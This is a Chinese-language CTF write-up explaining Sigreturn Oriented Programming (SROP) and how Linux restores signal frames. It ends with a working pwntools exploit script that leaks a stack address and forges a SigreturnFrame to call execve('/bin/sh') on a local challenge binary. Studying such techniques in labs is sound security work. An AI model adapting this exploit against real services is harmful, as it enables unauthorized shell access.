原理:

SROP(Sigreturn Oriented Programming),sigreturn是一个系统调用,在 unix 系统发生 signal 的时候会被间接调用
当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后③,内核为进程恢复之前保留的上下文,恢复进程的执行④

内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:

我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的执行

32 位的 sigreturn 的系统调用号为 77,64 位的系统调用号为 15

例题思路:

系统调用 调用号 函数原型
read 0 read(int fd, void *buf, size_t count)
write 1 write(int fd, const void *buf, size_t count)
sigreturn 15 int sigreturn(…)
execve 59 execve(const char *filename, char *const argv[],char *const envp[])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./ciscn')
start_addr=0x4004F1
syscall_ret=0x400517
rax_ret=0x4004DA
#gdb.attach(p,'b *0x400501')
#pause()
payload=b'/bin/sh\x00'.ljust(16,b'\x00')+p64(start_addr) #在栈上写/bin/sh,返回read函数
p.send(payload)
stack_addr=u64(p.recv()[32:40])-0x148 #gdb调试,泄露栈地址,-0x148是/bin/sh的地址
print('leak stack addr :' + hex(stack_addr))
execve = SigreturnFrame()
execve.rax = constants.SYS_execve
execve.rdi = stack_addr #/bin/sh地址,下同
execve.rsi = 0x0
execve.rdx = 0x0
execve.rsp = stack_addr
execve.rip = syscall_ret
payload=b'a'*16+p64(rax_ret)+p64(syscall_ret)+bytes(execve) #rax=15,调用sigreturn,恢复寄存器的值,即调用execve
p.send(payload)
p.interactive()